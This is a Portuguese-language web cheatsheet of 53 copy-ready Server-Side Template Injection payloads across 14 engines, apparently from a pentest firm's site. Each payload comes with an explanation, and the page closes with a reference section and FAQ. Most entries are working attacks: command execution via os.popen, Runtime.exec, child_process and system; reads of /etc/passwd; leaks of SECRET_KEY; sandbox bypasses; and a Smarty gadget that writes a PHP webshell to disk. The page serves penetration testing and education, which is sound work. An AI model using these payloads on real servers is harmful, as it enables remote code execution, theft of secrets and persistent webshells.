// ferramenta · injection

Cheatsheet de SSTI

Server-Side Template Injection acontece quando uma entrada do usuário é avaliada como template no servidor — virando leitura de arquivos ou execução de comandos. Escolha a engine, filtre por objetivo e copie o payload.

Roda 100% no seu navegador · nada é enviado

53 payloads

  • Jinja2 Python Detecção
    {{7*7}}

    Por que funciona: Tudo dentro de {{ }} é avaliado como expressão Python. Se a resposta mostrar 49, o template está avaliando a sua entrada.

  • Jinja2 Python Detecção
    {{7*'7'}}

    Por que funciona: Inteiro × string repete a string (7777777). Confirma Jinja2/Python e distingue de Twig, que retornaria 49.

  • Jinja2 Python Info & contexto
    {{ config.items() }}

    Por que funciona: No Flask, config está no contexto e expõe a configuração inteira — incluindo SECRET_KEY, que permite forjar sessões.

  • Jinja2 Python RCE
    {{ cycler.__init__.__globals__.os.popen('id').read() }}

    Por que funciona: cycler é um global do Jinja2; por __init__.__globals__ chega-se ao módulo os e executa-se um comando.

  • Jinja2 Python RCE
    {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

    Por que funciona: Caminho clássico no Flask: de request até __builtins__.__import__ para importar os e rodar comandos.

  • Jinja2 Python RCE
    {{ ''.__class__.__mro__[1].__subclasses__() }}

    Por que funciona: Lista todas as subclasses de object. Localize subprocess.Popen (ou um wrapper de arquivo) e chame-o pelo índice para RCE ou leitura de arquivos.

  • Jinja2 Python Bypass de sandbox
    {{ ''|attr('__class__') }}

    Por que funciona: Quando o ponto (.) é filtrado, o filtro attr() acessa atributos por string, contornando o bloqueio.

  • Jinja2 Python Bypass de sandbox
    {{ request['application']['__globals__'] }}

    Por que funciona: Acesso por colchetes ['...'] evita o ponto e listas de palavras bloqueadas como __globals__.

  • Tornado Python Detecção
    {{7*7}}

    Por que funciona: Tornado também usa {{ }} para expressões. 49 confirma a avaliação no servidor.

  • Tornado Python RCE
    {% import os %}{{ os.popen('id').read() }}

    Por que funciona: Tornado permite {% import %}; importe os e execute comandos diretamente.

  • Mako Python Detecção
    ${7*7}

    Por que funciona: Mako avalia expressões em ${ ... }. 49 confirma a engine.

  • Mako Python RCE
    <%import os%>${os.popen('id').read()}

    Por que funciona: Mako aceita blocos <% %> de Python puro; importe os e rode comandos.

  • Mako Python RCE
    ${self.module.cache.util.os.system('id')}

    Por que funciona: A cadeia de atributos do Mako chega a os.system sem precisar de bloco de código.

  • Mako Python Leitura de arquivo
    ${open('/etc/passwd').read()}

    Por que funciona: open está acessível no escopo do Mako; lê arquivos arbitrários do servidor.

  • Django Python Detecção
    {{7|add:7}}

    Por que funciona: Django não avalia expressões livres; aritmética só via filtros como add. 14 sugere Django (sandboxed).

  • Django Python Info & contexto
    {% debug %}

    Por que funciona: A tag {% debug %} despeja variáveis e o contexto disponível — vazamento de informação útil para escalar.

  • Django Python Info & contexto
    {{ settings.SECRET_KEY }}

    Por que funciona: Se settings estiver no contexto, expõe segredos. Em Django, SSTI costuma ser info disclosure, não RCE direta.

  • Twig PHP Detecção
    {{7*7}}

    Por que funciona: Twig avalia {{ }}. 49 confirma a engine.

  • Twig PHP Detecção
    {{7*'7'}}

    Por que funciona: Em Twig, 7*'7' resulta 49 (não 7777777) — distingue de Jinja2.

  • Twig PHP Info & contexto
    {{ _self }}

    Por que funciona: _self referencia o template atual; ponto de partida para alcançar o ambiente (_self.env) do Twig.

  • Twig PHP RCE
    {{ ['id']|filter('system') }}

    Por que funciona: O filtro filter aplica system a cada item do array, executando o comando.

  • Twig PHP RCE
    {{ ['id', 0]|sort('system') }}

    Por que funciona: sort usa system como função de comparação, disparando o comando — alternativa quando filter é bloqueado.

  • Twig PHP RCE
    {{ ['id']|map('system')|join }}

    Por que funciona: map aplica system ao array e join materializa a saída — mais um caminho de RCE.

  • Twig PHP Bypass de sandbox
    {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}

    Por que funciona: Em Twig 1.x, registra system como callback de filtro indefinido e o dispara com o comando como nome de filtro.

  • Smarty PHP Detecção
    {$smarty.version}

    Por que funciona: Exibe a versão do Smarty — confirma a engine e orienta o vetor de exploração.

  • Smarty PHP Detecção
    {math equation="7*7"}

    Por que funciona: A tag {math} avalia a expressão; 49 confirma Smarty.

  • Smarty PHP RCE
    {php}system('id');{/php}

    Por que funciona: A tag {php} executa PHP puro (Smarty < 3.1, ou quando reabilitada).

  • Smarty PHP RCE
    {system('id')}

    Por que funciona: Quando funções PHP estão liberadas na política de segurança, podem ser chamadas direto como tag.

  • Smarty PHP Bypass de sandbox
    {Smarty_Internal_Write_File::writeFile("./shell.php","<?php system($_GET['c']); ?>",self::clearConfig())}

    Por que funciona: Gadget conhecido: o método estático writeFile do Smarty grava um webshell no disco. self::clearConfig() fornece a referência da instância Smarty exigida pelo 3º argumento. Removido no Smarty 3.1.30+.

  • Freemarker Java Detecção
    ${7*7}

    Por que funciona: Freemarker avalia ${ ... }. 49 confirma a engine.

  • Freemarker Java RCE
    <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

    Por que funciona: Instancia a classe utilitária Execute do Freemarker via ?new() e roda o comando.

  • Freemarker Java RCE
    ${"freemarker.template.utility.Execute"?new()("id")}

    Por que funciona: Forma compacta: cria Execute e o invoca na mesma expressão.

  • Freemarker Java Bypass de sandbox
    <#assign v="freemarker.template.utility.ObjectConstructor"?new()>${v("java.lang.ProcessBuilder","id").start()}

    Por que funciona: Quando Execute é bloqueado, ObjectConstructor cria um ProcessBuilder arbitrário para executar comandos.

  • Velocity Java Detecção
    #set($x=7*7)$x

    Por que funciona: Velocity define variáveis com #set; imprimir 49 confirma a engine.

  • Velocity Java RCE
    #set($e="e")
    #set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
    $run.exec("id")

    Por que funciona: Via reflexão a partir de uma string, alcança java.lang.Runtime e executa comandos do SO.

  • Velocity Java RCE
    #set($run=$class.inspect("java.lang.Runtime").type.getRuntime())
    $run.exec("id")

    Por que funciona: Quando a ferramenta $class está exposta no contexto, obtém Runtime direto e executa comandos.

  • Thymeleaf Java Detecção
    [[${7*7}]]

    Por que funciona: Em contexto de expressão Thymeleaf/Spring EL, [[...]] avalia inline; 49 confirma.

  • Thymeleaf Java RCE
    ${T(java.lang.Runtime).getRuntime().exec('id')}

    Por que funciona: Spring EL: T(...) referencia uma classe estática; Runtime.exec executa o comando.

  • Thymeleaf Java RCE
    __${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

    Por que funciona: O pré-processamento __...__ de nomes de fragmento/expressão avalia a expressão — o SSTI clássico do Thymeleaf via view name.

  • Pug Node.js Detecção
    #{7*7}

    Por que funciona: Pug interpola #{ ... } como JavaScript; 49 confirma a avaliação no servidor.

  • Pug Node.js RCE
    #{global.process.mainModule.require('child_process').execSync('id')}

    Por que funciona: De global.process chega-se a require('child_process') e executa comandos no Node.

  • Pug Node.js RCE
    = global.process.mainModule.require('child_process').execSync('id')

    Por que funciona: Uma linha de código Pug (= expr) executa JavaScript arbitrário no servidor.

  • EJS Node.js Detecção
    <%= 7*7 %>

    Por que funciona: EJS avalia <%= ... %> como JavaScript; 49 confirma a engine.

  • EJS Node.js RCE
    <%= global.process.mainModule.require('child_process').execSync('id') %>

    Por que funciona: A expressão JS no EJS executa comandos via child_process.

  • EJS Node.js Bypass de sandbox
    ?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');s

    Por que funciona: CVE-2022-29078: poluição das opções do EJS injeta código pelo nome da função de saída — RCE sem <% %> na entrada.

  • Handlebars Node.js RCE
    {{#with "s" as |string|}}
      {{#with "e"}}
        {{#with split as |conslist|}}
          {{this.pop}}
          {{this.push (lookup string.sub "constructor")}}
          {{this.pop}}
          {{#with string.split as |codelist|}}
            {{this.pop}}
            {{this.push "return require('child_process').execSync('id');"}}
            {{this.pop}}
            {{#each conslist}}
              {{#with (string.sub.apply 0 codelist)}}
                {{this}}
              {{/with}}
            {{/each}}
          {{/with}}
        {{/with}}
      {{/with}}
    {{/with}}

    Por que funciona: Handlebars é logic-less, mas o gadget com #with/lookup/constructor reconstrói uma função e alcança require para executar comandos (depende da versão).

  • ERB Ruby Detecção
    <%= 7*7 %>

    Por que funciona: ERB avalia <%= ... %> como Ruby; 49 confirma a engine.

  • ERB Ruby RCE
    <%= system('id') %>

    Por que funciona: system executa um comando do sistema operacional em Ruby.

  • ERB Ruby RCE
    <%= `id` %>

    Por que funciona: A crase em Ruby executa o comando e retorna a saída — útil para exfiltrar o resultado.

  • ERB Ruby Leitura de arquivo
    <%= File.read('/etc/passwd') %>

    Por que funciona: File.read lê arquivos arbitrários do servidor.

  • Go Go Detecção
    {{ . }}

    Por que funciona: Templates Go imprimem o contexto com {{ . }}. Se renderizar a struct/dado injetado, há avaliação de template.

  • Go Go Info & contexto
    {{ .Password }}

    Por que funciona: Acessa campos da struct passada ao template, vazando dados sensíveis do contexto.

  • Go Go Info & contexto
    {{ printf "%+v" . }}

    Por que funciona: printf "%+v" despeja o objeto inteiro do contexto. Em Go, SSTI raramente vira RCE (sem FuncMap perigoso) — foca em info disclosure.

Para uso em testes autorizados, pesquisa e educação. Não teste alvos sem permissão explícita.

// referência

O que é Server-Side Template Injection

Server-Side Template Injection (SSTI) acontece quando a entrada do usuário é concatenada no template renderizado no servidor, em vez de passada como dado. O motor de template avalia essa entrada como expressão — e o que deveria ser texto vira código executado no servidor.

O impacto vai de vazamento de informação e leitura de arquivos até execução remota de código (RCE), dependendo da engine e do sandbox. O fluxo de exploração é quase sempre o mesmo: detectar a injeção, identificar a engine e então escalar para leitura de arquivo ou comando.

Engines cobertas

A cheatsheet traz payloads para 14 engines de template, agrupadas por linguagem. A sintaxe de detecção e os gadgets de RCE mudam de uma engine para outra:

  • Python: Jinja2, Tornado, Mako, Django
  • PHP: Twig, Smarty
  • Java: Freemarker, Velocity, Thymeleaf
  • Node.js: Pug, EJS, Handlebars
  • Ruby: ERB
  • Go: Go

Detecção → leitura de arquivo → RCE

Detecção

Injete uma expressão aritmética ({{7*7}}, ${7*7}, <%= 7*7 %>) e veja se a resposta avalia para 49. Polyglots como ${{7*7}} ajudam a disparar em várias engines de uma vez.

Info & contexto

Confirmada a injeção, leia variáveis de ambiente, objetos de configuração e a estrutura interna do template para mapear o que está acessível dentro do sandbox.

Leitura de arquivo

Muitas engines expõem objetos que abrem arquivos do servidor (por exemplo open no Mako), levando à leitura de /etc/passwd, código-fonte e segredos.

RCE

O objetivo final é executar comando no servidor, alcançando o runtime da linguagem (subprocessos, os.system, Runtime.exec) a partir do contexto do template.

Bypass de sandbox

Quando a engine restringe atributos ou builtins, encadeie referências (__class__, __mro__, request) para reconstruir o acesso bloqueado e voltar ao RCE.

Perguntas frequentes

O que é Server-Side Template Injection (SSTI)?

É quando a entrada do usuário é concatenada no template renderizado no servidor, em vez de passada como dado. O motor avalia a entrada como código de template — o que pode virar leitura de arquivos ou execução remota de código (RCE).

{{7*7}} retornou 49 — qual engine é?

{{7*7}} = 49 indica uma engine de sintaxe Jinja2/Twig. Para desambiguar, teste {{7*'7'}}: Jinja2 retorna 7777777 e Twig retorna 49. A cheatsheet traz polyglots de detecção por engine.

SSTI é sempre RCE?

Não. Dependendo da engine e do sandbox, o impacto vai de vazamento de informação e leitura de arquivos até RCE completo. Algumas engines exigem bypass de sandbox para chegar a comando.

Qual a diferença entre SSTI e XSS?

Ambas são injeções, mas o XSS executa no navegador da vítima (cliente) e a SSTI executa no servidor que renderiza o template — por isso a SSTI costuma ser bem mais grave.

Achou SSTI numa aplicação sua?

A IntruderLabs executa o pentest que encontra e prova essas falhas antes de um atacante — sob a sua marca, com relatório white-label.

Fale com a gente →